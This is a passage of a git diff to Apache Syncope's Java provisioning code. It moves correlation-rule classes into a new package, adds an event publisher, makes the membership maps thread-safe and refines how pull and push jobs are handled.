org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.Exec; import org.apache.syncope.core.persistence.api.entity.task.PropagationTask; @@ -52,6 +49,7 @@ import org.apache.syncope.core.provisioning.java.utils.ConnObjectUtils; import org.apache.syncope.core.spring.ApplicationContextProvider; import org.springframework.beans.factory.support.AbstractBeanDefinition; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; /** @@ -90,9 +88,6 @@ protected PropagationTaskCallable newPropagationTaskCallable( public PriorityPropagationTaskExecutor( final ConnectorManager connectorManager, final ConnObjectUtils connObjectUtils, - final UserDAO userDAO, - final GroupDAO groupDAO, - final AnyObjectDAO anyObjectDAO, final TaskDAO taskDAO, final ExternalResourceDAO resourceDAO, final PlainSchemaDAO plainSchemaDAO, @@ -103,13 +98,11 @@ public PriorityPropagationTaskExecutor( final TaskUtilsFactory taskUtilsFactory, final OutboundMatcher outboundMatcher, final PlainAttrValidationManager validator, + final ApplicationEventPublisher publisher, final ThreadPoolTaskExecutor taskExecutor) { super(connectorManager, connObjectUtils, - userDAO, - groupDAO, - anyObjectDAO, taskDAO, resourceDAO, plainSchemaDAO, @@ -119,7 +112,8 @@ public PriorityPropagationTaskExecutor( anyUtilsFactory, taskUtilsFactory, outboundMatcher, - validator); + validator, + publisher); this.taskExecutor = taskExecutor; } @@ -155,7 +149,7 @@ public PropagationReporter execute( execStatus = ExecStatus.FAILURE; errorMessage = e.getMessage(); } - if (execStatus != ExecStatus.SUCCESS) { + if (execStatus == ExecStatus.FAILURE) { throw new PropagationException( taskInfo.getResource().getKey(), Optional.ofNullable(exec).map(Exec::getMessage).orElse(errorMessage)); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPullResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPullResultHandler.java index f7a7bc7e6c8..5768f3a103b 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPullResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPullResultHandler.java @@ -43,7 +43,6 @@ import org.apache.syncope.common.lib.types.UnmatchingRule; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.dao.RemediationDAO; import org.apache.syncope.core.persistence.api.dao.TaskDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; @@ -62,6 +61,7 @@ import org.apache.syncope.core.provisioning.api.pushpull.IgnoreProvisionException; import org.apache.syncope.core.provisioning.api.pushpull.PullActions; import org.apache.syncope.core.provisioning.api.pushpull.SyncopePullResultHandler; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.apache.syncope.core.provisioning.java.utils.ConnObjectUtils; import org.apache.syncope.core.spring.security.DelegatedAdministrationException; import org.identityconnectors.framework.common.objects.Attribute; @@ -810,7 +810,8 @@ protected Result handleAnys( break; case DELETE: - result = delete(delta, matches, provision); + // Skip DELETE in case of PullCorrelationRule.NO_MATCH + result = matches.get(0).getAny() == null ? Result.SUCCESS : delete(delta, matches, provision); break; default: diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPushResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPushResultHandler.java index 8069984a929..b457b42f523 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPushResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/AbstractPushResultHandler.java @@ -29,6 +29,7 @@ import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.apache.syncope.common.lib.request.AnyUR; +import org.apache.syncope.common.lib.request.GroupUR; import org.apache.syncope.common.lib.request.StringPatchItem; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.syncope.common.lib.to.Provision; @@ -42,6 +43,7 @@ import org.apache.syncope.common.lib.types.UnmatchingRule; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.persistence.api.entity.task.PushTask; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.AuditManager; @@ -54,6 +56,7 @@ import org.apache.syncope.core.provisioning.api.pushpull.IgnoreProvisionException; import org.apache.syncope.core.provisioning.api.pushpull.PushActions; import org.apache.syncope.core.provisioning.api.pushpull.SyncopePushResultHandler; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.provisioning.java.job.AfterHandlingJob; import org.apache.syncope.core.provisioning.java.propagation.DefaultPropagationReporter; import org.apache.syncope.core.spring.security.AuthContextUtils; @@ -96,7 +99,6 @@ protected void update( final ConnectorObject beforeObj, final ProvisioningReport result) { - boolean changepwd = any instanceof User; List ownedResources = getAnyUtils().getAllResources(any).stream(). map(ExternalResource::getKey).collect(Collectors.toList()); @@ -108,9 +110,10 @@ protected void update( propByRes.addOldConnObjectKey(profile.getTask().getResource().getKey(), beforeObj.getUid().getUidValue()); List taskInfos = propagationManager.getUpdateTasks( + null, any.getType().getKind(), any.getKey(), - changepwd, + any instanceof User ? List.of(profile.getTask().getResource().getKey()) : List.of(), enable, propByRes, null, @@ -172,12 +175,24 @@ protected void provision(final Any any, final Boolean enable, final Provision } } + protected void copyDynMembershipConds(final Any any, final AnyUR req) { + if (any instanceof Group && req instanceof GroupUR) { + Optional.ofNullable(((Group) any).getUDynMembership()). + ifPresent(udc -> ((GroupUR) req).setUDynMembershipCond(udc.getFIQLCond())); + + ((Group) any).getADynMemberships().forEach(adc -> ((GroupUR) req).getADynMembershipConds(). + put(adc.getAnyType().getKey(), adc.getFIQLCond())); + } + } + protected void link(final Any any, final boolean unlink, final ProvisioningReport result) { AnyUR req = getAnyUtils().newAnyUR(any.getKey()); req.getResources().add(new StringPatchItem.Builder(). operation(unlink ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE). value(profile.getTask().getResource().getKey()).build()); + copyDynMembershipConds(any, req); + update(req); result.setStatus(ProvisioningReport.Status.SUCCESS); @@ -189,6 +204,8 @@ protected void unassign(final Any any, final ConnectorObject beforeObj, final operation(PatchOperation.DELETE). value(profile.getTask().getResource().getKey()).build()); + copyDynMembershipConds(any, req); + update(req); deprovision(any, beforeObj, result); @@ -200,6 +217,8 @@ protected void assign(final Any any, final Boolean enabled, final Provisionin operation(PatchOperation.ADD_REPLACE). value(profile.getTask().getResource().getKey()).build()); + copyDynMembershipConds(any, req); + update(req); provision(any, enabled, result); @@ -493,9 +512,9 @@ protected void doHandle(final Any any, final Provision provision) throws JobE profile.getTask().getResource().getKey(), operation, resultStatus, - beforeObj, - output, - any)); + beforeObj == null ? null : POJOHelper.serialize(beforeObj), + output == null ? null : output instanceof Exception ? output : POJOHelper.serialize(output), + getAnyTO(any))); AfterHandlingJob.schedule(scheduler, jobMap); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPullCorrelationRule.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPullCorrelationRule.java similarity index 94% rename from core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPullCorrelationRule.java rename to core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPullCorrelationRule.java index ada4b93904d..ad42114008a 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPullCorrelationRule.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPullCorrelationRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.jpa.dao; +package org.apache.syncope.core.provisioning.java.pushpull; import java.util.ArrayList; import java.util.List; @@ -28,11 +28,11 @@ import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.Provision; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRuleConfClass; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRuleConfClass; import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.SyncDelta; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPushCorrelationRule.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPushCorrelationRule.java similarity index 97% rename from core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPushCorrelationRule.java rename to core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPushCorrelationRule.java index 836f4a1cc32..d0847b3e28e 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPushCorrelationRule.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPushCorrelationRule.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.jpa.dao; +package org.apache.syncope.core.provisioning.java.pushpull; import java.util.ArrayList; import java.util.Base64; @@ -30,13 +30,13 @@ import org.apache.syncope.common.lib.search.ConnObjectTOFiqlSearchConditionBuilder; import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.types.MappingPurpose; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRuleConfClass; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.provisioning.api.AccountGetter; import org.apache.syncope.core.provisioning.api.MappingManager; import org.apache.syncope.core.provisioning.api.PlainAttrGetter; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRuleConfClass; import org.identityconnectors.common.security.GuardedByteArray; import org.identityconnectors.common.security.GuardedString; import org.identityconnectors.common.security.SecurityUtil; diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPullResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPullResultHandler.java index 77f9f94ee15..577c6d8e01f 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPullResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPullResultHandler.java @@ -322,8 +322,7 @@ protected Result update(final SyncDelta delta, final List realms, final b List taskInfos = propagationManager.setAttributeDeltas( propagationManager.createTasks(realm, propByRes, null), - beforeAttrs, - null); + beforeAttrs); taskExecutor.execute(taskInfos, false, securityProperties.getAdminUser()); for (PullActions action : profile.getActions()) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPushResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPushResultHandler.java index f1f4a2a1b56..db09f374004 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPushResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultRealmPushResultHandler.java @@ -49,6 +49,7 @@ import org.apache.syncope.core.provisioning.api.pushpull.IgnoreProvisionException; import org.apache.syncope.core.provisioning.api.pushpull.PushActions; import org.apache.syncope.core.provisioning.api.pushpull.RealmPushResultHandler; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.provisioning.java.job.AfterHandlingJob; import org.apache.syncope.core.provisioning.java.propagation.DefaultPropagationReporter; import org.apache.syncope.core.provisioning.java.utils.MappingUtils; @@ -114,8 +115,7 @@ private Realm update(final RealmTO realmTO, final ConnectorObject beforeObj, fin List taskInfos = propagationManager.setAttributeDeltas( propagationManager.createTasks(realm, propByRes, null), - beforeAttrs, - null); + beforeAttrs); if (!taskInfos.isEmpty()) { taskInfos.get(0).setBeforeObj(Optional.ofNullable(beforeObj)); PropagationReporter reporter = new DefaultPropagationReporter(); @@ -442,9 +442,9 @@ private void doHandle(final Realm realm) throws JobExecutionException { profile.getTask().getResource().getKey(), operation, resultStatus, - beforeObj, - output, - realm)); + beforeObj == null ? null : POJOHelper.serialize(beforeObj), + output == null ? null : output instanceof Exception ? output : POJOHelper.serialize(output), + binder.getRealmTO(realm, true))); AfterHandlingJob.schedule(scheduler, jobMap); } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPullResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPullResultHandler.java index d664a3705dc..affb19d22ce 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPullResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPullResultHandler.java @@ -46,7 +46,6 @@ import org.apache.syncope.common.lib.types.PatchOperation; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.common.lib.types.UnmatchingRule; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; @@ -58,6 +57,7 @@ import org.apache.syncope.core.provisioning.api.propagation.PropagationException; import org.apache.syncope.core.provisioning.api.pushpull.PullActions; import org.apache.syncope.core.provisioning.api.pushpull.UserPullResultHandler; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.identityconnectors.framework.common.objects.AttributeUtil; import org.identityconnectors.framework.common.objects.SyncDelta; import org.quartz.JobExecutionException; @@ -96,7 +96,7 @@ protected AnyTO getAnyTO(final Any any) { @Override protected WorkflowResult update(final AnyUR req) { WorkflowResult> update = - uwfAdapter.update((UserUR) req, profile.getExecutor(), getContext()); + uwfAdapter.update((UserUR) req, null, profile.getExecutor(), getContext()); return new WorkflowResult<>(update.getResult().getLeft(), update.getPropByRes(), update.getPerformedTasks()); } @@ -147,11 +147,11 @@ protected Result handleLinkedAccounts( Result global = Result.SUCCESS; for (PullMatch match : matches) { - User user = (User) match.getAny(); - if (user == null) { + if (match.getAny() == null) { LOG.error("Could not find linking user, cannot process match {}", match); return Result.FAILURE; } + User user = (User) match.getAny(); Optional found = user.getLinkedAccount(profile.getTask().getResource().getKey(), delta.getUid().getUidValue()); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPushResultHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPushResultHandler.java index e33d2c5e63a..6fceb9d1b33 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPushResultHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultUserPushResultHandler.java @@ -125,9 +125,10 @@ protected void update( Pair.of(account.getResource().getKey(), account.getConnObjectKeyValue()))); List taskInfos = propagationManager.getUpdateTasks( + null, any.getType().getKind(), any.getKey(), - true, + List.of(profile.getTask().getResource().getKey()), enable, propByRes, propByLinkedAccount, @@ -175,7 +176,7 @@ protected void deprovision(final Any any, final ConnectorObject beforeObj, fi @Override protected WorkflowResult update(final AnyUR req) { WorkflowResult> update = - uwfAdapter.update((UserUR) req, profile.getExecutor(), getContext()); + uwfAdapter.update((UserUR) req, null, profile.getExecutor(), getContext()); return new WorkflowResult<>(update.getResult().getLeft(), update.getPropByRes(), update.getPerformedTasks()); } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/InboundMatcher.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/InboundMatcher.java index 1dce0927270..2d216bf5737 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/InboundMatcher.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/InboundMatcher.java @@ -27,6 +27,7 @@ import java.util.concurrent.ConcurrentHashMap; import java.util.stream.Collectors; import java.util.stream.Stream; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.OrgUnit; import org.apache.syncope.common.lib.to.Provision; @@ -37,8 +38,6 @@ import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; @@ -63,6 +62,8 @@ import org.apache.syncope.core.provisioning.api.IntAttrNameParser; import org.apache.syncope.core.provisioning.api.VirAttrHandler; import org.apache.syncope.core.provisioning.api.data.ItemTransformer; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.apache.syncope.core.provisioning.java.utils.MappingUtils; import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.identityconnectors.framework.common.objects.Attribute; @@ -151,24 +152,28 @@ public Optional match( List found = new ArrayList<>(); - Name nameAttr = new Name(nameValue); - connector.search( - new ObjectClass(provision.get().getObjectClass()), - provision.get().isIgnoreCaseMatch() - ? FilterBuilder.equalsIgnoreCase(nameAttr) - : FilterBuilder.equalTo(nameAttr), - new SearchResultsHandler() { - - @Override - public void handleResult(final SearchResult result) { - // nothing to do - } + try { + Name nameAttr = new Name(nameValue); + connector.search( + new ObjectClass(provision.get().getObjectClass()), + provision.get().isIgnoreCaseMatch() + ? FilterBuilder.equalsIgnoreCase(nameAttr) + : FilterBuilder.equalTo(nameAttr), + new SearchResultsHandler() { + + @Override + public void handleResult(final SearchResult result) { + // nothing to do + } - @Override - public boolean handle(final ConnectorObject connectorObject) { - return found.add(connectorObject); - } - }, MappingUtils.buildOperationOptions(mapItems)); + @Override + public boolean handle(final ConnectorObject connectorObject) { + return found.add(connectorObject); + } + }, MappingUtils.buildOperationOptions(mapItems)); + } catch (Throwable t) { + LOG.warn("While searching for {} ...", nameValue, t); + } Optional result = Optional.empty(); @@ -283,7 +288,7 @@ public List matchByConnObjectKeyValue( cond.setExpression(finalConnObjectKeyValue); anys.addAll(anySearchDAO.search(SearchCond.getLeaf(cond), AnyTypeKind.ANY_OBJECT)); } else { - Optional.ofNullable(anyObjectDAO.findByName(finalConnObjectKeyValue)).ifPresent(anys::add); + anys.addAll(anyObjectDAO.findByName(finalConnObjectKeyValue)); } break; @@ -484,9 +489,7 @@ public List match(final SyncDelta syncDelta, final OrgUnit orgUnit) { case "name": if (orgUnit.isIgnoreCaseMatch()) { - String realmName = connObjectKey; - result.addAll(realmDAO.findAll().stream(). - filter(r -> r.getName().equalsIgnoreCase(realmName)).collect(Collectors.toList())); + result.addAll(realmDAO.findDescendants(SyncopeConstants.ROOT_REALM, connObjectKey, -1, -1)); } else { result.addAll(realmDAO.findByName(connObjectKey).stream().collect(Collectors.toList())); } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java index 0dad00af249..8da5d1e2311 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java @@ -19,12 +19,13 @@ package org.apache.syncope.core.provisioning.java.pushpull; import java.util.ArrayList; -import java.util.HashMap; +import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Optional; import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; import org.apache.syncope.common.lib.request.AnyUR; import org.apache.syncope.common.lib.request.MembershipUR; import org.apache.syncope.common.lib.request.UserUR; @@ -36,11 +37,11 @@ import org.apache.syncope.common.lib.types.PatchOperation; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.provisioning.api.Connector; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile; import org.apache.syncope.core.provisioning.api.pushpull.PullActions; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.apache.syncope.core.spring.implementation.InstanceScope; import org.apache.syncope.core.spring.implementation.SyncopeImplementation; import org.identityconnectors.framework.common.objects.Attribute; @@ -78,9 +79,9 @@ public class LDAPMembershipPullActions implements PullActions { @Autowired protected UserProvisioningManager userProvisioningManager; - protected final Map> membershipsBefore = new HashMap<>(); + protected final Map> membershipsBefore = new ConcurrentHashMap<>(); - protected final Map> membershipsAfter = new HashMap<>(); + protected final Map> membershipsAfter = new ConcurrentHashMap<>(); /** * Allows easy subclassing for the ConnId AD connector bundle. @@ -153,11 +154,9 @@ public void beforeUpdate( } groupDAO.findUMemberships(groupDAO.find(entity.getKey())).forEach(uMembership -> { - Set memb = membershipsBefore.get(uMembership.getLeftEnd().getKey()); - if (memb == null) { - memb = new HashSet<>(); - membershipsBefore.put(uMembership.getLeftEnd().getKey(), memb); - } + Set memb = membershipsBefore.computeIfAbsent( + uMembership.getLeftEnd().getKey(), + k -> Collections.synchronizedSet(new HashSet<>())); memb.add(entity.getKey()); }); } @@ -192,11 +191,9 @@ public void after( profile.getTask().getResource(), profile.getConnector()); if (match.isPresent()) { - Set memb = membershipsAfter.get(match.get().getAny().getKey()); - if (memb == null) { - memb = new HashSet<>(); - membershipsAfter.put(match.get().getAny().getKey(), memb); - } + Set memb = membershipsAfter.computeIfAbsent( + match.get().getAny().getKey(), + k -> Collections.synchronizedSet(new HashSet<>())); memb.add(entity.getKey()); } else { LOG.warn("Could not find matching user for {}", membValue); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/OutboundMatcher.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/OutboundMatcher.java index 0d20222ec07..46c14b8527d 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/OutboundMatcher.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/OutboundMatcher.java @@ -31,7 +31,6 @@ import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; import org.apache.syncope.core.persistence.api.entity.Any; @@ -46,6 +45,7 @@ import org.apache.syncope.core.provisioning.api.VirAttrHandler; import org.apache.syncope.core.provisioning.api.propagation.PropagationActions; import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.java.utils.MappingUtils; import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.identityconnectors.framework.common.objects.AttributeBuilder; diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java index adbeacf18e9..cc94ea16096 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java @@ -40,7 +40,6 @@ import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; import org.apache.syncope.core.persistence.api.entity.AnyType; import org.apache.syncope.core.persistence.api.entity.AnyUtils; @@ -62,6 +61,7 @@ import org.apache.syncope.core.provisioning.api.pushpull.SyncopePullExecutor; import org.apache.syncope.core.provisioning.api.pushpull.SyncopePullResultHandler; import org.apache.syncope.core.provisioning.api.pushpull.UserPullResultHandler; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.apache.syncope.core.provisioning.java.utils.ConnObjectUtils; import org.apache.syncope.core.provisioning.java.utils.MappingUtils; import org.apache.syncope.core.spring.ApplicationContextProvider; @@ -380,19 +380,6 @@ protected String doExecuteProvisioning( new ObjectClass(provision.getObjectClass()), dispatcher, options); - break; - } - - if (provision.getUidOnCreate() != null) { - AnyUtils anyUtils = anyUtilsFactory.getInstance(anyType.getKind()); - profile.getResults().stream(). - filter(result -> result.getUidValue() != null && result.getKey() != null - && result.getOperation() == ResourceOperation.CREATE - && result.getAnyType().equals(provision.getAnyType())). - forEach(result -> anyUtils.addAttr( - validator, - result.getKey(), - plainSchemaDAO.find(provision.getUidOnCreate()), result.getUidValue())); } } catch (Throwable t) { throw new JobExecutionException("While pulling from connector", t); @@ -405,6 +392,28 @@ protected String doExecuteProvisioning( } } } + + dispatcher.shutdown(); + + for (Provision provision : pullTask.getResource().getProvisions().stream(). + filter(provision -> provision.getMapping() != null && provision.getUidOnCreate() != null). + sorted(provisionSorter).collect(Collectors.toList())) { + + try { + AnyUtils anyUtils = anyUtilsFactory.getInstance(anyTypeDAO.find(provision.getAnyType()).getKind()); + profile.getResults().stream(). + filter(result -> result.getUidValue() != null && result.getKey() != null + && result.getOperation() == ResourceOperation.CREATE + && result.getAnyType().equals(provision.getAnyType())). + forEach(result -> anyUtils.addAttr( + validator, + result.getKey(), + plainSchemaDAO.find(provision.getUidOnCreate()), result.getUidValue())); + } catch (Throwable t) { + LOG.error("While setting UID on create", t); + } + } + try { setGroupOwners(ghandler); } catch (Exception e) { @@ -417,8 +426,6 @@ protected String doExecuteProvisioning( } } - dispatcher.cleanup(); - setStatus("Pull done"); String result = createReport(profile.getResults(), pullTask.getResource(), dryRun); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullResultHandlerDispatcher.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullResultHandlerDispatcher.java index 4362281d3bb..974ff8a5427 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullResultHandlerDispatcher.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullResultHandlerDispatcher.java @@ -51,7 +51,7 @@ public boolean handle(final SyncDelta delta) { return false; } - if (ecs.isEmpty()) { + if (tpte.isEmpty()) { boolean result = nonConcurrentHandler(delta.getObjectClass().getObjectClassValue()).handle(delta); executor.reportHandled(delta.getObjectClass().getObjectClassValue(), delta.getObject().getName()); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java index f2310fabefa..4b73aa161cd 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java @@ -206,7 +206,8 @@ protected String doExecuteProvisioning( }); // Never push the root realm - List realms = realmDAO.findDescendants(profile.getTask().getSourceRealm()).stream(). + List realms = realmDAO.findDescendants( + profile.getTask().getSourceRealm().getFullPath(), null, -1, -1).stream(). filter(realm -> realm.getParent() != null).collect(Collectors.toList()); boolean result = true; for (int i = 0; i < realms.size() && result; i++) { @@ -277,14 +278,14 @@ protected String doExecuteProvisioning( } } + dispatcher.shutdown(); + if (!profile.isDryRun()) { for (PushActions action : profile.getActions()) { action.afterAll(profile); } } - dispatcher.cleanup(); - setStatus("Push done"); String result = createReport(profile.getResults(), pushTask.getResource(), dryRun); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushResultHandlerDispatcher.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushResultHandlerDispatcher.java index 4bed895fdb4..0f50511326e 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushResultHandlerDispatcher.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushResultHandlerDispatcher.java @@ -45,7 +45,7 @@ public boolean handle(final String anyType, final String anyKey) { return false; } - if (ecs.isEmpty()) { + if 